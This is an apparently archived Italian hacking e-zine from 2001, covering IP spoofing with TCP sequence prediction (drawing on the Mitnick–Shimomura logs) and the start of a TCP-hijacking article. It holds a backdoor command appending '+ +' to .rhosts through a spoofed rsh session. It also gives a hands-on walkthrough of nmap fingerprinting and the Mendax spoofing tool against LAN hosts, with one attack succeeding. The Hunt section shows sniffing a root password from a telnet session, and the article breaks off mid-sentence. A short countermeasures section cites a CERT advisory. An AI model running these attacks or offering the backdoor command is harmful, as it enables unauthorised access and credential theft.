| Avendo il valore di un ISN precedentemente campionato, il tempo trascorso da |
| |
| tale campionamento, tenendo conto che il numero sequenziale viene |
| incrementato di 128.000 ogni secondo e che un pacchetto necessita di un |
| tempo pari alla metà del RTT per compiere il tragitto che separa i due host, |
| |
| è possibile predire l'ISN del sistema bersaglio. |
| E' bene tenere presente che l'instaurazione di una connessione su una |
| qualsiasi delle porte del sistema vanificherebbe la predizione dell'ISN che |
| vedrebbe incrementato di 64.000 il proprio valore. |
| |
| 4.2.1 Esempio |
| Tratto dal testo "How Mitnick hacked Tsutomu Shimomura with an IP sequence |
| attack"
|
| |
| "We now see 20 connection attempts from apollo.it.luc.edu to |
| x-terminal.shell. The purpose of these attempts is to determine the behavior |
| |
| of x-terminal's TCP sequence number generator. Note that the initial |
| sequence numbers increment by one for each connection, indicating that the |
| SYN packets are *not* being generated by the system's TCP implementation. |
| This results in RSTs conveniently being generated in response to each |
| unexpected SYN-ACK, so the connection queue on x-terminal does not fill up: |
| |
| 14:18:25.906002 apollo.it.luc.edu.1000 > x-terminal.shell: S |
| 1382726990:1382726990(0) win 4096 |
| 14:18:26.094731 x-terminal.shell > apollo.it.luc.edu.1000: S |
| 2021824000:2021824000(0) ack 1382726991 win 4096 |
| 14:18:26.172394 apollo.it.luc.edu.1000 > x-terminal.shell: R |
| 1382726991:1382726991(0) win 0 |
| 14:18:26.507560 apollo.it.luc.edu.999 > x-termina

  
l.shell: S |
| 1382726991:1382726991(0) win 4096 |
| 14:18:26.694691 x-terminal.shell > apollo.it.luc.edu.999: S |
| 2021952000:2021952000(0) ack 1382726992 win 4096 |
| 14:18:26.775037 apollo.it.luc.edu.999 > x-terminal.shell: R |
| 1382726992:1382726992(0) win 0 |
| 14:18:26.775395 apollo.it.luc.edu.999 > x-terminal.shell: R |
| 1382726992:1382726992(0) win 0 |
| 14:18:27.014050 apollo.it.luc.edu.998 > x-terminal.shell: S |
| 1382726992:1382726992(0) win 4096 |
| 14:18:27.174846 x-terminal.shell > apollo.it.luc.edu.998: S |
| 2022080000:2022080000(0) ack 1382726993 win 4096 |
| 14:18:27.251840 apollo.it.luc.edu.998 > x-terminal.shell: R |
| 1382726993:1382726993(0) win 0 |
| 14:18:27.544069 apollo.it.luc.edu.997 > x-terminal.shell: S |
| 1382726993:1382726993(0) win 4096 |
| 14:18:27.714932 x-terminal.shell > apollo.it.luc.edu.997: S |
| 2022208000:2022208000(0) ack 1382726994 win 4096 |
| 14:18:27.794456 apollo.it.luc.edu.997 > x-terminal.shell: R |
| 1382726994:1382726994(0) win 0 |
| 14:18:28.054114 apollo.it.luc.edu.996 > x-terminal.shell: S |
| 1382726994:1382726994(0) win 4096 |
| 14:18:28.224935 x-terminal.shell > apollo.it.luc.edu.996: S |
| 2022336000:2022336000(0) ack 1382726995 win 4096 |
| 14:18:28.305578 apollo.it.luc.edu.996 > x-terminal.shell: R |
| 1382726995:1382726995(0) win 0 |
| 14:18:28.564333 apollo.it.luc.edu.995 > x-terminal.shell: S |
| 1382726995:1382726995(0) win 4096 |
| 14:18:28.734953 x-terminal.shell > apollo.it.luc.edu.995: S |
| 2022464000:2022464000(0) ack 1382726996 win 4096 |
| 14:18:28.811591 apollo.it.luc.edu.995 > x-terminal.shell: R |
| 1382726996:1382726996(0) win 0 |
| 14:18:29.074990 apollo.it.luc.edu.994 > x-terminal.shell: S |
| 1382726996:1382726996(0) win 4096 |
| 14:18:29.274572 x-terminal.shell > apollo.it.luc.edu.994: S |
| 2022592000:2022592000(0) ack 1382726997 win 4096 |
| 14:18:29.354139 apollo.it.luc.edu.994 > x-terminal.shell: R |
| 1382726997:1382726997(0) win 0 |
| 14:18:29.354616 apollo.it.luc.edu.994 > x-terminal.shell: R |
| 1382726997:1382726997(0) win 0 |
| 14:18:29.584705 apollo.it.luc.edu.993 > x-terminal.shell: S |
| 1382726997:1382726997(0) win 4096 |
| 14:18:29.755054 x-terminal.shell > apollo.it.luc.edu.993: S |
| 2022720000:2022720000(0) ack 1382726998 win 4096 |
| 14:18:29.840372 apollo.it.luc.edu.993 > x-terminal.shell: R |
| 1382726998:1382726998(0) win 0 |
| 14:18:30.094299 apollo.it.luc.edu.992 > x-terminal.shell: S |
| 1382726998:1382726998(0) win 4096 |
| 14:18:30.265684 x-terminal.shell > apollo.it.luc.edu.992: S |
| 2022848000:2022848000(0) ack 1382726999 win 4096 |
| 14:18:30.342506 apollo.it.luc.edu.992 > x-terminal.shell: R |
| 1382726999:1382726999(0) win 0 |
| 14:18:30.604547 apollo.it.luc.edu.991 > x-terminal.shell: S |
| 1382726999:1382726999(0) win 4096 |
| 14:18:30.775232 x-terminal.shell > apollo.it.luc.edu.991: S |
| 2022976000:2022976000(0) ack 1382727000 win 4096 |
| 14:18:30.852084 apollo.it.luc.edu.991 > x-terminal.shell: R |
| 1382727000:1382727000(0) win 0 |
| 14:18:31.115036 apollo.it.luc.edu.990 > x-terminal.shell: S |
| 1382727000:1382727000(0) win 4096 |
| 14:18:31.284694 x-terminal.shell > apollo.it.luc.edu.990: S |
| 2023104000:2023104000(0) ack 1382727001 win 4096 |
| 14:18:31.361684 apollo.it.luc.edu.990 > x-terminal.shell: R |
| 1382727001:1382727001(0) win 0 |
| 14:18:31.627817 apollo.it.luc.edu.989 > x-terminal.shell: S |
| 1382727001:1382727001(0) win 4096 |
| 14:18:31.795260 x-terminal.shell > apollo.it.luc.edu.989: S |
| 2023232000:2023232000(0) ack 1382727002 win 4096 |
| 14:18:31.873056 apollo.it.luc.edu.989 > x-terminal.shell: R |
| 1382727002:1382727002(0) win 0 |
| 14:18:32.164597 apollo.it.luc.edu.988 > x-terminal.shell: S |
| 1382727002:1382727002(0) win 4096 |
| 14:18:32.335373 x-terminal.shell > apollo.it.luc.edu.988: S |
| 2023360000:2023360000(0) ack 1382727003 win 4096 |
| 14:18:32.413041 apollo.it.luc.edu.988 > x-terminal.shell: R |
| 1382727003:1382727003(0) win 0 |
| 14:18:32.674779 apollo.it.luc.edu.987 > x-terminal.shell: S |
| 1382727003:1382727003(0) win 4096 |
| 14:18:32.845373 x-terminal.shell > apollo.it.luc.edu.987: S |
| 2023488000:2023488000(0) ack 1382727004 win 4096 |
| 14:18:32.922158 apollo.it.luc.edu.987 > x-terminal.shell: R |
| 1382727004:1382727004(0) win 0 |
| 14:18:33.184839 apollo.it.luc.edu.986 > x-terminal.shell: S |
| 1382727004:1382727004(0) win 4096 |
| 14:18:33.355505 x-terminal.shell > apollo.it.luc.edu.986: S |
| 2023616000:2023616000(0) ack 1382727005 win 4096 |
| 14:18:33.435221 apollo.it.luc.edu.986 > x-terminal.shell: R |
| 1382727005:1382727005(0) win 0 |
| 14:18:33.695170 apollo.it.luc.edu.985 > x-terminal.shell: S |
| 1382727005:1382727005(0) win 4096 |
| 14:18:33.985966 x-terminal.shell > apollo.it.luc.edu.985: S |
| 2023744000:2023744000(0) ack 1382727006 win 4096 |
| 14:18:34.062407 apollo.it.luc.edu.985 > x-terminal.shell: R |
| 1382727006:1382727006(0) win 0 |
| 14:18:34.204953 apollo.it.luc.edu.984 > x-terminal.shell: S |
| 1382727006:1382727006(0) win 4096 |
| 14:18:34.375641 x-terminal.shell > apollo.it.luc.edu.984: S |
| 2023872000:2023872000(0) ack 1382727007 win 4096 |
| 14:18:34.452830 apollo.it.luc.edu.984 > x-terminal.shell: R |
| 1382727007:1382727007(0) win 0 |
| 14:18:34.714996 apollo.it.luc.edu.983 > x-terminal.shell: S |
| 1382727007:1382727007(0) win 4096 |
| 14:18:34.885071 x-terminal.shell > apollo.it.luc.edu.983: S |
| 2024000000:2024000000(0) ack 1382727008 win 4096 |
| 14:18:34.962030 apollo.it.luc.edu.983 > x-terminal.shell: R |
| 1382727008:1382727008(0) win 0 |
| 14:18:35.225869 apollo.it.luc.edu.982 > x-terminal.shell: S |
| 1382727008:1382727008(0) win 4096 |
| 14:18:35.395723 x-terminal.shell > apollo.it.luc.edu.982: S |
| 2024128000:2024128000(0) ack 1382727009 win 4096 |
| 14:18:35.472150 apollo.it.luc.edu.982 > x-terminal.shell: R |
| 1382727009:1382727009(0) win 0 |
| 14:18:35.735077 apollo.it.luc.edu.981 > x-terminal.shell: S |
| 1382727009:1382727009(0) win 4096 |
| 14:18:35.905684 x-terminal.shell > apollo.it.luc.edu.981: S |
| 2024256000:2024256000(0) ack 1382727010 win 4096 |
| 14:18:35.983078 apollo.it.luc.edu.981 > x-terminal.shell: R |
| 1382727010:1382727010(0) win 0 |
| |
| Note that each SYN-ACK packet sent by x-terminal has an initial sequence |
| number which is 128,000 greater than the previous one." |
| |
| 4.3 Impersonificazione dell'host di fiducia |
| |
| 1) L'attacker manda un pacchetto TCP con flag SYN attivo (richiesta di |
| connessione), l'header del pacchetto IP è contraffatto e riporta nel campo |
| source address l'ip del sistema che gode di una relazione di fiducia nei |
| confronti dell'host bersaglio. |
| 2) L'host bersaglio risponde con un pacchetto SYN/ACK che non sarà ricevuto |
| dall'host spoofed, tale pacchetto sarà instradato verso il legittimo |
| proprietario (il sistema di fiducia) che ignorerà tale pacchetto a causa del |
| |
| SYN flood. Non essendo a conoscenza dell'ISN generato dall'host bersaglio |
| sarà necessario procedere con la predizione del numero sequenziale con le |
| modalità descritte in precedenza. |
| 3) L'attacker manda un secondo pacchetto TCP con flag ACK attivo, l'header |
| del pacchetto IP è contraffatto e riporta ancora una volta l'ip del sistema |
| di fiducia, il campo acknowledgment number contiene l'ISN predetto |
| incrementato di uno. Se tutto è andato per il verso giusto otterremo una |
| connessione unilaterale con il sistema bersaglio. |
| |
| |
| 1 S(M) --> D SYN=1, ISN=100 |
| |
| 2 M <-- D ISN=??? |
| |
| 3 S(M) --> D ACK=1, ack=ISN(predetto)+1 |
| |
| M = mittente |
| D = destinatario |
| S = spoofed |
| |
| |
| 4.3.1 Esempio |
| Tratto dal testo "How Mitnick hacked Tsutomu Shimomura with an IP sequence |
| attack" |
| |
| "Normally, the sequence number from the SYN-ACK is required in order to |
| generate a valid ACK. However, the attacker is able to predict the sequence |
| |
| number contained in the SYN-ACK based on the known behavior of x-terminal's |
| TCP sequence number generator, and is thus able to ACK the SYN-ACK without |
| seeing it: |
| |
| 14:18:36.245045 server.login > x-terminal.shell: S 1382727010:1382727010(0) |
| win 4096 |
| 14:18:36.755522 server.login > x-terminal.shell: . ack 2024384001 win 4096 |
| |
| The spoofing machine now has a one-way connection to x-terminal.shell which |
| appears to be from server.login." |
| |
| 5. Backdoor |
| La tecnica appena descritta ci permette di sfruttare la relazione di fiducia |
| |
| acquisita allo scopo di eseguire una backdoor sul sistema remoto, questo ci |
| permetterà un accesso al sistema più agevole in futuro, vediamo un esempio: |
| |
| cat + + >> ~/.rhosts |
| |
| Questo comando eseguito dalla shell reindirizza l'output standard del |
| comando echo verso il file .rhosts che si trova nella directory ~ (home) |
| dell'utente, all'interno di tale file verrà aggiunta la stringa "+ +" che |
| permette il login da parte di qualsiasi sistema remoto senza bisogno di |
| password alcuna. |
| |
| 5.1 Esempio |
| Tratto dal testo "How Mitnick hacked Tsutomu Shimomura with an IP sequence |
| attack" |
| |
| "It can maintain the connection and send data provided that it can properly |
| ACK any data sent by x-terminal. It sends the following: |
| |
| 14:18:37.265404 server.login > x-terminal.shell: P 0:2(2) ack 1 win 4096 |
| 14:18:37.775872 server.login > x-terminal.shell: P 2:7(5) ack 1 win 4096 |
| 14:18:38.287404 server.login > x-terminal.shell: P 7:32(25) ack 1 win 4096 |
| |
| which corresponds to: |
| 14:18:37 server# rsh x-terminal "echo + + >>/.rhosts" |
| |
| Total elapsed time since the first spoofed packet: < 16 seconds" |
| |
| 6. Parte pratica |
| Veniamo al sodo, ovvero come mettere in pratica quanto imparato al fine di |
| realizzare un attacco spoofed sfruttando le relazioni di fiducia di cui gode |
| |
| un certo host. Come ogni attacco che si rispetti dobbiamo procedere prima di |
| |
| tutto ricavando il maggior numero di informazioni sul nostro host target, le |
| |
| informazioni che maggiormente ci interessano sono principalmente due: |
| |
| - la presenza di servizi quali rlogin, rsh, rcp, rwho, etc; |
| - il livello di prevedibilità del sequence number; |
| |
| A tale scopo utilizzeremo il programma Nmap che è in grado di fornirci tali |
| informazioni, l'opzione -O ci permette di operare un fingerprint(1) dello |
| stack TCP e determinarne la prevedibilità del sequence number, per maggiori |
| informazioni riguardo l'uso di Nmap consultare la man page relativa a tale |
| programma. |
| |
| (1)fingerprint: è detto fingerprinting la tecnica che permette mediante |
| l'analisi dello stack TCP la determinazione del sistema operativo da remoto, |
| |
| questa tecnica si basa proprio sull'analisi delle differenze dello stack |
| caratterizzanti un certo sistema operativo. |
| |
| Per effettuare l'attacco vero e proprio useremo invece il noto programma |
| Mendax che utilizzerà le tecniche descritte in precedenza per exploitare(2) |
| l'host remoto: |
| |
| - SYN flood del sistema trusted; |
| - campionamento del sistema target; |
| - predizione del sequence number; |
| - spoofing su rshd; |
| - esecuzione della backdoor; |
| |
| (2)exploit: programma o tecnica che ci permette di ottenere privilegi |
| particolari nei confronti di un host sul quale non abbiamo accesso o |
| possediamo privilegi limitati. |
| |
| Vediamo la sintassi utilizzata da tale programma: |
| |
| [root@pluto mendax]# ./mendax |
| Usage: ./mendax [OPTIONS] <source> <target> [<gateway>] |
| |
| -p PORT first port on localhost to occupy |
| -s PORT server port on <source> to swamp |
| -l USERNAME user on <source> |
| -r USERNAME user on <target> |
| -c COMMAND command to execute |
| -w PORT wait for a TCP SYN packet on port PORT |
| -d read data from stdin and send it. |
| -t test whether attack might succeed |
| -L TERM spoof rlogind instead of rshd. |
| -S PORT port from which to sample seq numbers. |
| |
| L'opzione -s permette di specificare la porta del sistema trusted su cui |
| attuare il SYN flood, l'opzione -r specifica l'utente con cui si intende |
| autenticarsi sul sistema target, l'utente dipende strettamente da quanto |
| dichiarato sul file .rhosts presente sul sistema remoto, l'opzione -c |
| permette di specificare il comando da eseguire una volta ottenuto l'accesso, |
| |
| infine -S permette di specificare la porta su cui effettuare il |
| campionamento dei numeri sequenziali, tale impostazione va scelta in base |
| all'output del comando Nmap e va settata pari al valore di una porta del |
| sistema target che risulti nello stato open. |
| |
| Nota personale: |
| Ho ritenuto necessario modificare il file mendax.h sostituendo la riga: |
| |
| #define SAMPLEPACKETS 4 |
| con la seguente: |
| |
| #define SAMPLEPACKETS 20 |
| al fine di rendere più significativo il campionamento effettuato dal |
| programma stesso. |
| |
| 6.1 Uso di Nmap e del programma Mendax |
| Ecco un esempio di attacco eseguito su una macchina che monta Mandrake 8.0: |
| |
| [root@pluto root]# nmap -O 192.168.1.35 |
| |
| Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ ) |
| Interesting ports on pluto.workgroup.com (192.168.1.35): |
| (The 1517 ports scanned but not shown below are in state: closed) |
| Port State Service |
| 23/tcp open telnet |
| 25/tcp open smtp |
| 111/tcp open sunrpc |
| 631/tcp open unknown |
| 6000/tcp open X11 |
| 32770/tcp open sometimes-rpc3 |
| |
| TCP Sequence Prediction: Class=random positive increments |
| Difficulty=1468724 (Good luck!) |
| No OS matches for host (If you know what OS is running on it, see |
| http://www.insecure.org/cgi-bin/nmap-submit.cgi). |
| TCP/IP fingerprint: |
| TSeq(Class=RI%gcd=1%SI=2CCF1D) |
| TSeq(Class=RI%gcd=1%SI=2CD1F2) |
| TSeq(Class=RI%gcd=2%SI=166934) |
| T1(Resp=Y%DF=Y%W=7FFF%ACK=S++%Flags=AS%Ops=MNNTNW) |
| T2(Resp=N) |
| T3(Resp=Y%DF=Y%W=7FFF%ACK=S++%Flags=AS%Ops=MNNTNW) |
| T4(Resp=Y%DF=Y%W=0%ACK=O%Flags=R%Ops=) |
| T5(Resp=Y%DF=Y%W=0%ACK=S++%Flags=AR%Ops=) |
| T6(Resp=Y%DF=Y%W=0%ACK=O%Flags=R%Ops=) |
| T7(Resp=Y%DF=Y%W=0%ACK=S++%Flags=AR%Ops=) |
| PU(Resp=Y%DF=Y%TOS=C0%IPLEN=164%RIPTL=148%RID=E%RIPCK=E%UCK=E%ULEN=134%DAT=E) |
| |
| |
| |
| Nmap run completed -- 1 IP address (1 host up) scanned in 5 seconds |
| |
| Come potrete notare siamo in presenza di una macchina che non solo non monta |
| |
| i servizi necessari alla riuscita del nostro attacco ma la predizione del |
| sequence number risulterebbe alquanto difficoltosa, questo dato può essere |
| ricavato dalla voce seguente: |
| |
| TCP Sequence Prediction: Class=random positive increments |
| Difficulty=1468724 (Good luck!) |
| |
| In questo caso se cercassimo di usare il tool Mendax per realizzare il |
| nostro attacco esso fallirebbe miseramente a causa dell'incrementazione |
| random del sequence number che ne impedisce qualsiasi predizione, ecco |
| l'esempio: |
| |
| [root@pluto mendax]# ./mendax -S 23 192.168.1.2 192.168.1.35 |
| flooding source with TCP SYN packets from 143.209.4.3: .................... |
| sampling sequence numbers... |
| |
| seq number: 991645491, ack number: 1 |
| seq number: 986108304, ack number: 64001 difference: -5537187 |
| seq number: 996466103, ack number: 128001 difference: 10357799 |
| seq number: 998585156, ack number: 192001 difference: 2119053 |
| seq number: 990883549, ack number: 256001 difference: -7701607 |
| seq number: 1000310665, ack number: 320001 difference: 9427116 |
| seq number: 989419335, ack number: 384001 difference: -10891330 |
| seq number: 993096000, ack number: 448001 difference: 3676665 |
| seq number: 987811540, ack number: 512001 difference: -5284460 |
| seq number: 995054978, ack number: 576001 difference: 7243438 |
| seq number: 995947714, ack number: 640001 difference: 892736 |
| seq number: 984271645, ack number: 704001 difference: -11676069 |
| seq number: 990591826, ack number: 768001 difference: 6320181 |
| seq number: 995223221, ack number: 832001 difference: 4631395 |
| seq number: 998562942, ack number: 896001 difference: 3339721 |
| seq number: 984338810, ack number: 960001 difference: -14224132 |
| seq number: 997948849, ack number: 1024001 difference: 13610039 |
| seq number: 984199097, ack number: 1088001 difference: -13749752 |
| seq number: 991693416, ack number: 1152001 difference: 7494319 |
| seq number: 994890294, ack number: 1216001 difference: 3196878 |
| |
| no detectable difference pattern. |
| using 3196878 as prediction difference (1 hit). |
| spoofing rshd. |
| resetting TCP target connection: . |
| resetting source: .................... |
| |
| Mendax risponde con "no detectable difference pattern.", ciò significa che |
| non è possibile stabilire una relazione tra un numero sequenziale e quello |
| immediatamente successivo. |
| Il prossimo esempio è tratto dal probe di una macchina RedHat 6.1 kernel |
| 2.2.12: |
| |
| [root@pluto mendax]# nmap -O 192.168.1.34 |
| |
| Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ ) |
| Interesting ports on pippo.workgroup.com (192.168.1.34): |
| (The 1513 ports scanned but not shown below are in state: closed) |
| Port State Service |
| 21/tcp open ftp |
| 23/tcp open telnet |
| 25/tcp open smtp |
| 79/tcp open finger |
| 98/tcp open linuxconf |
| 111/tcp open sunrpc |
| 113/tcp open auth |
| 513/tcp open login |
| 514/tcp open shell |
| 515/tcp open printer |
| |
| TCP Sequence Prediction: Class=random positive increments |
| Difficulty=5589937 (Good luck!) |
| Remote operating system guess: Linux 2.1.122 - 2.2.14 |
| |
| Nmap run completed -- 1 IP address (1 host up) scanned in 1 second |
| |
| Questa volta le porte interessate dall'attacco sono disponibili (513, 514) |
| ma la predizione del sequence number risulta ancora una volta difficoltosa, |
| il nostro attacco non funzionarà: |
| |
| [root@pluto mendax]# ./mendax 192.168.1.2 192.168.1.34 |
| flooding source with TCP SYN packets from 143.209.4.3: .................... |
| sampling sequence numbers... |
| |
| seq number: 4178634327, ack number: 1 |
| seq number: 4179028914, ack number: 64001 difference: 394587 |
| seq number: 4174024512, ack number: 128001 difference: -5004402 |
| seq number: 4163370868, ack number: 192001 difference: -10653644 |
| seq number: 4167396870, ack number: 256001 difference: 4026002 |
| seq number: 4169257246, ack number: 320001 difference: 1860376 |
| seq number: 4167244436, ack number: 384001 difference: -2012810 |
| seq number: 4175107959, ack number: 448001 difference: 7863523 |
| seq number: 4166530375, ack number: 512001 difference: -8577584 |
| seq number: 4165158028, ack number: 576001 difference: -1372347 |
| seq number: 4173646859, ack number: 640001 difference: 8488831 |
| seq number: 4176496350, ack number: 704001 difference: 2849491 |
| seq number: 4167788146, ack number: 768001 difference: -8708204 |
| seq number: 4167622693, ack number: 832001 difference: -165453 |
| seq number: 4175721601, ack number: 896001 difference: 8098908 |
| seq number: 4174721790, ack number: 960001 difference: -999811 |
| seq number: 4172954422, ack number: 1024001 difference: -1767368 |
| seq number: 4179219208, ack number: 1088001 difference: 6264786 |
| seq number: 4177168403, ack number: 1152001 difference: -2050805 |
| seq number: 4169364973, ack number: 1216001 difference: -7803430 |
| |
| no detectable difference pattern. |
| using -7803430 as prediction difference (1 hit). |
| spoofing rshd. |
| resetting TCP target connection: . |
| resetting source: .................... |
| |
| Quello che segue è un esempio di attacco portato a termine con successo su |
| di una macchina vulnerabile, la difficoltà di predizione del sequence number |
| |
| appariva come output del comando Nmap in questo modo: |
| |
| TCP Sequence Prediction: Class=trivial time dependency |
| Difficulty=1 (Trivial joke) |
| |
| [root@pluto mendax]# ./mendax 192.168.1.2 192.168.1.32 |
| flooding source with TCP SYN packets from 143.209.4.3: .................... |
| sampling sequence numbers... |
| |
| seq number: 885951, ack number: 1 |
| seq number: 885951, ack number: 64001 difference: 0 |
| seq number: 885951, ack number: 128001 difference: 0 |
| seq number: 885951, ack number: 192001 difference: 0 |
| seq number: 885951, ack number: 256001 difference: 0 |
| seq number: 885951, ack number: 320001 difference: 0 |
| seq number: 885951, ack number: 384001 difference: 0 |
| seq number: 885951, ack number: 448001 difference: 0 |
| seq number: 885951, ack number: 512001 difference: 0 |
| seq number: 885951, ack number: 576001 difference: 0 |
| seq number: 885951, ack number: 640001 difference: 0 |
| seq number: 885951, ack number: 704001 difference: 0 |
| seq number: 885951, ack number: 768001 difference: 0 |
| seq number: 885951, ack number: 832001 difference: 0 |
| seq number: 885951, ack number: 896001 difference: 0 |
| seq number: 885952, ack number: 960001 difference: 1 |
| seq number: 885952, ack number: 1024001 difference: 0 |
| seq number: 885952, ack number: 1088001 difference: 0 |
| seq number: 885952, ack number: 1152001 difference: 0 |
| seq number: 885952, ack number: 1216001 difference: 0 |
| |
| using 0 as prediction difference (18 hits). |
| spoofing rshd. |
| resetting TCP target connection: . |
| resetting source: .................... |
| |
| La riuscita dell'attacco comporta l'esecuzione della backdoor sul sistema |
| attaccato. |
| |
| 7. Contromisure |
| Come indicato dal CERT Advisory CA-1995-01 è consigliabile impostare le |
| corrette rules sul proprio firewall in modo da prevenire questo genere di |
| attacchi, gli indirizzi a rischio sono quelli riservati all'uso locale e |
| l'indirizzo di loopback: |
| |
| |
| 127.0.0.0 - 127.255.255.255 (loopback) |
| 10.0.0.0 - 10.255.255.255 (reserved) |
| 172.16.0.0 - 172.31.255.255 (reserved) |
| 192.168.0.0 - 192.168.255.255 (reserved) |
| |
| |
| Bibliografia: |
| |
| CERT Advisory CA-1995-01 IP Spoofing Attack and Hijacked Terminal |
| Connections |
| RFC 793 - Transmission Control Protocol |
| TCP/IP Guida Completa - Apogeo |
| Phrack Magazine - IP-spoofing Demystified |
| How Mitnick hacked Tsutomu Shimomura with an IP sequence attack |
| |
| |
| |
+-------------------------------------------------------------------------------+


+-------------------------------------------------------------------------------+
| ONDAQUADRA ~ [HACKiNG] #04 - 19/11/2001 |
| MAN iN THE MiDDLE ATTACK - Hunt v.1.5 [E4zy] 0x09/0x23 |
+-------------------------------------------------------------------------------+
| |
| *** PREMESSA *** |
| L'articolo da per scontato che si conoscano le modalità di un attacco IP |
| Spoofing che costituisce la base portante di un dirottamento di sessione |
| come quello descritto in seguito, è consigliata la lettura dell'articolo "IP |
| |
| Spoofing Attack" presente in questo stesso numero della zine prima di |
| proseguire con la lettura |
| **************** |
| |
| Introduzione |
| L'attacco Man In The Middle, meglio conosciuto come TCP Hijacking, permette |
| lo sniffing(1), la modifica e il reinstradamento del traffico di rete; |
| durante la trattazione di questo articolo, avvalendoci del tool Hunt, |
| metteremo in pratica quanto imparato. |
| |
| (1)sniffing: letteralmente fiutare, catturare il traffico di dati da/verso |
| un certo dispositivo, esempio la rete, la tastiera |
| |
| ARP (Address Resolution Protocol) |
| Ogni scheda di rete possiede un proprio indirizzo fisico (MAC), nel momento |
| in cui un host deve mandare un pacchetto ad un altro host o al proprio |
| gateway deve conoscerne il MAC address. Se il MAC address del destinatario |
| non viene trovano nella propria cache ARP l'host mittente genererà un |
| pacchetto ARP che verrà inviato all'indirizzo di broadcast (tutti gli host |
| della rete). Tale richiesta conterrà l'indirizzo IP dell'host di cui si |
| richiede il MAC address, una volta ricevuto dall'host interessato esso |
| invierà al mittente un pacchetto ARP di risposta contenente il proprio MAC |
| address. |
| Per ovviare al problema di far richiesta del MAC address ogni qual volta sia |
| |
| necessario spedire un nuovo pacchetto, il mittente si preoccuperà di salvare |
| |
| l'IP e il MAC address nella propria cache, i pacchetti successivi potranno |
| essere inoltrati senza bisogno di alcuna interrogazione. |
| |
| Teoria |
| Il TCP Hijacking può essere applicato a qualsiasi tipo di applicazione che |
| non utilizzi un tunneling crittografico (esempio SSH), di conseguenza |
| possiamo individuare come potenziali vittime applicazione come telnet, ftp, |
| rlogin, etc., un malintenzionato ha la possibilità, grazie a un dirottamento |
| |
| di sessione, di impadronirsi della sessione stessa e comprometterne |
| l'integrità dei dati. Il fatto stesso di assumere la direzione di una |
| connessione esistente, permette all'attacker di bypassare qualsiasi schema |
| di autenticazione attingendo ad una connessione dove l'utente vittima ha già |
| |
| completato la procedura di login. |
| Gli host in gioco sono ancora una volta tre: |
| - attacker: che esegue l'attacco; |
| - victim: il client vittima; |
| - target: il server al quale è collegata la vittima; |
| |
| Requisiti |
| - la vittima e il server comunicano tra loro senza far utilizzo di alcun |
| tipo di criptazione; |
| - almeno uno dei host coinvolti (victim o target) si trova nella stessa rete |
| |
| locale del sistema attacker, non necessariamente nello stesso segmento di |
| rete; |
| |
| Simple Active Attack |
| Questo tipo di attacco è quello di più facile implementazione, si avvale di |
| pacchetti che riportano nell'header (intestazione) IP address e ARP |
| address(2) spoofed (i veri indirizzi di victim e target); tale |
| implementazione dell'attacco può comportare alcuni effetti indesiderati, |
| primo tra tutti il fenomeno conosciuto con il nome di "ACK storm". |
| |
| (2)ARP address: indirizzo MAC, ovvero l'indirizzo fisico del sistema |
| |
| ACK Storm |
| Fenomeno dovuto alla maggior parte delle implementazioni dello stack TCP |
| (Linux 2.0 non risente di tale problema), immaginiamo che attacker mandi un |
| pacchetto (spoofato con l'ip e MAC address di victim) a target, di |
| conseguenza victim riceverà un ACK inatteso da target e risponderà ad esso, |
| la cosa continuerà generando un loop di ACK. |
| |
| ARP Forcing |
| Ha lo scopo di scongiurare un eventuale ACK storm, consiste nella |
| falsificazione dei campi relativi al MAC address, avremo così la possibilità |
| |
| di redirigere le risposte di target verso un host fittizio, in questo modo |
| victim non sarà bersaglio di ACK inattesi. |
| Questa tecnica non funzionerebbe con sistemi Solaris 2.5 a causa del minor |
| tempo con cui le voci ARP scadono e vengono di conseguenza eliminate dalla |
| cache ARP. |
| Il programma Hunt, che useremo più avanti nella trattazione di questo |
| articolo, cerca di risolvere tale problema attuando un force sia del MAC |
| address di victim che di quello di target, in questo modo sia target che |
| victim inviano il loro traffico verso l'host fittizio di conseguenza nel |
| caso in cui uno dei due sistemi sia un Solaris 2.5 e l'altro no, l'ACK storm |
| |
| verrà comunque scongiurato. Non solo! Come ogni network sniffer che si |
| rispetti Hunt è in grado di sniffare tutto il traffico diretto verso l'host |
| fittizio :) |
| L'unico problema rimane nel caso in cui i due sistemi coinvolti siano |
| entrambi Solaris 2.5 :( |
| |
| Pratica |
| Guida all'uso di Hunt v.1.5 |
| Breve introduzione alle principali funzioni del programma: |
| |
| Connection Sniffing |
| Permette di osservare il traffico generato da qualsiasi connessione |
| disponibile. |
| Analizziamo una sessione a rischio dove l'utente victim accede all'host |
| target tramite telnet ed esegue il comando "su" per ottenere i privilegi del |
| |
| superuser: |
| |
| Last login: Fri Oct 26 15:34:01 from 192.168.1.35 |
| [victim@target victim]$ su |
| Password: |
| [root@target victim]# |
| |
| Vediamo il tutto dagli occhi dell'attacker: |
| |
| [attacker@attacker hunt-1.5]# ./hunt |
| /* |
| * hunt 1.5 |
| * multipurpose connection intruder / sniffer for Linux |
| * (c) 1998-2000 by kra |
| */ |
| starting hunt |
| --- Main Menu --- rcvpkt 0, free/alloc 63/64 ------ |
| l/w/r) list/watch/reset connections |
| u) host up tests |
| a) arp/simple hijack (avoids ack storm if arp used) |
| s) simple hijack |
| d) daemons rst/arp/sniff/mac |
| o) options |
| x) exit |
| *> w |
| 0) 192.168.1.35 [34335] --> 192.168.1.34 [23] |
| |
| choose conn> 0 |
| dump [s]rc/[d]st/[b]oth [b]> s |
| |
| |
| CTRL-C to break |
| su |
| secret |
| |
| L'opzione (w)atch ci permette di sniffare il traffico tra l'host victim e |
| target, ho scelto di dumpare il solo traffico che coinvolge l'host sorgente |
| ovvero victim: |
| dump [s]rc/[d]st/[b]oth [b]> s |
| |
| il che si è rivelato una mossa azzeccata e mi ha permesso di sniffare |
| l'esecuzione di "su" con relativa password di root, slurp :) |
| |
| Simple Hijack |
| L'attacco di più semplice attuazione ma anche il più rischioso al tempo |
| stesso, permette di inserire un comando all'interno del flusso di dati della |
| |
| sessione dirottata. Molto spesso tale attacco degenera in un ACK storm che |
| impedisce qualsiasi ulteriore inoltro di pacchetti. |
| Un ulteriore problema è rappresentato dal fatto che, in tale modalità, |
| l'utente victim è in grado di vedere l'output generato dall'esecuzione dei |
| comandi di attacker. |
| In caso di esito positivo l'attacker avrà la possibilità di resettare la |
| connessione o procedere alla sua sincronizzazione (spiegato in seguito). |
| Nell'esempio riportato in seguito l'utente victim si è autentificato con |
| successo sul sistema target, a questo punto abbiamo la possibilità di |
